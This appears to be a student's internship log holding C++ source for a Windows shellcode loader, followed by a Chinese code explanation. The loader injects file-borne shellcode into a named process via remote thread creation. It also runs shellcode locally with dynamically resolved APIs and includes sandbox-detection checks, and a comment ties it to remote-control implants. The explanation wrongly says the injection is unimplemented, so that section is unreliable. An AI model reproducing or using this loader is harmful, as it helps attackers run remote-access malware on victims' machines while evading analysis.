7.18生产实习日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include "myfunc.h"

//字符转宽字符
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");

// 原始的char*字符串
char* char_str = *a;

// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}

// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}

// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}

//读取shellcode
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file;
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
*length = infile.tellg();
infile.seekg(0, infile.beg);
char* data = new char[*length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, *length);
}
return data;
}

//注入进程
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data;
data = ReadFile(&length, argv[2]);

/*LPVOID
mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, length);
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/

HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //快照(留像)
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作 std::string::npos == 当初遍历的进程名
if (extFileName.find(exename) != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;

// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}

//正常上线
VOID Normal(char* file) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, file);


}

void Direct() {
size_t length;
unsigned char* data = assemble_data(&length);

fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreatThread");
LPVOID shell_address = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
memcpy(shell_address, data, length);

HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_address, 0, 0, 0);
WaitForSingleObject(HThread, -1);
}

void CheckSandBox() {
//vbox_network_share();
Check_MulDiv_1();
Check_MulDiv_2();
}

void NtCall(char* file) {
SIZE_T length = 0;
char* data = NULL;
data = ReadFile(&length, file);
fn_NtAllocateVirtualMemory myNtAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"),"NtAllocateVirtualMemory");
fn_NtCreateThreadEx myNtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(LoadLibraryA("ntdll.dll"),"NtCreateThreadex");

HANDLE hRemoteThread = NULL;
LPVOID shell_addr = NULL;
HANDLE process = GetCurrentThread();

myNtAllocateVirtualMemory(GetCurrentProcess(), &shell_addr, 0, (PULONG)&length, 0x00001000, 0x40);
memcpy(shell_addr, data, length);
myNtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)&shell_addr,NULL,0,0,0,0,0);
WaitForSingleObject(hRemoteThread, -1);
}
void Fish(char* web) {
char command[512] = "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"";
strcat(command, web);

STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcessA(NULL,
command,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
}

// 远控的上线程序会变成你的注入目标程序
// User,管理员,System
// 主函数
int main(int argc, char* argv[]) {
// 调用函数执行创建远程线程的操作
/* Check_MulDiv_1();
Check_MulDiv_2();*/
if (argc > 1) {
if (strcmp(argv[1], "-i") == 0) {
if (argc == 4) {
printf("Injecting!!!\n");
Inject(argv);
}
else {
wprintf(L"注入方式:-i 路径 进程名\n");
}
}
if (strcmp(argv[1], "-d") == 0) {};
if (strcmp(argv[1], "-h") == 0) {
printf("-i Inject\n-h help\n-d normal\n");
}
if (strcmp(argv[1], "-s") == 0) {
CheckSandBox();
}
if (strcmp(argv[1], "-n") == 0) {
if (argc == 3) {
printf("需要路径");

}
else {
NtCall(argv[2]);
}
}
if (strcmp(argv[1], "-g") == 0) {
char web[50];
printf("请输入你想打开的网址:");
scanf("%s", &web);
Fish(web);
}
}
if (argc == 1) {
Direct();
}
return 0;
}

运行结果:

代码解释

代码主要包含三个主要的功能:字符到宽字符的转换、从文件中读取数据(可能是shellcode);

字符到宽字符的转换 (AtoW 函数)

AtoW 函数接受一个指向 char* 的指针(即 char** a),这个指针指向的 char* 是要转换的原始字符串。函数的目的是将这个字符串从多字节字符集(MBCS)转换为宽字符集(wchar_t),并返回指向新分配的宽字符字符串的指针。

  • 首先,通过 setlocale(LC_ALL, ""); 尝试设置程序的区域设置以支持当前环境的本地化。
  • 使用 mbstowcs 函数计算转换后宽字符字符串所需的长度,并据此分配内存。
  • 如果内存分配成功,再次调用 mbstowcs 进行实际的转换。
  • 如果在转换或内存分配过程中遇到错误,函数会返回 NULL 并通过 perror 打印错误信息。
  1. 从文件中读取数据 (ReadFile 函数)

ReadFile 函数接受一个指向文件名的 char* 字符串和一个指向 SIZE_T 的指针,用于存储读取数据的长度。函数打开一个文件,读取其内容,并返回指向新分配的内存的指针,该内存包含文件的内容。

  • 使用 ifstream 以二进制模式打开文件。
  • 使用 seekgtellg 获取文件大小,并据此分配内存。
  • 如果文件成功打开,读取文件内容到分配的内存中。
  • 无论操作成功与否,函数都返回指向数据的指针(注意,如果文件打开失败,这个指针可能指向未初始化的内存)。

进程注入框架 (Inject 函数)

Inject 函数目前是一个未完成的框架,旨在将shellcode注入到目标进程中。函数接受命令行参数(argv),从 argv[2] 指定的文件中读取shellcode,然后尝试找到并注入到 argv[3] 指定的进程中。

  • 使用 CreateFileToolhelp32SnapshotProcess32First 枚举系统中的进程。
  • 将目标进程名(argv[3])转换为宽字符字符串。
  • 遍历进程列表,查找与目标进程名匹配的进程。
  • 注释掉的代码(/* ... */)表明,原计划是分配可执行内存、将shellcode复制到该内存、然后执行它。但是,由于这段代码被注释掉了,所以实际上并没有执行这些操作。
  • 注意到,函数尝试使用 fn_OpenProcess(这可能是一个自定义函数或来自某个未显示的库),但代码被截断了,没有显示如何定义或调用这个函数。

总结

这段代码展示了字符到宽字符的转换、文件读取和进程注入的基本概念。然而,进程注入部分尚未实现,且文件读取函数在文件打开失败时未释放已分配的内存,这可能导致内存泄漏。此外,代码中没有显示如何定义 fn_OpenProcess 或处理可能的错误情况(如进程注入失败)。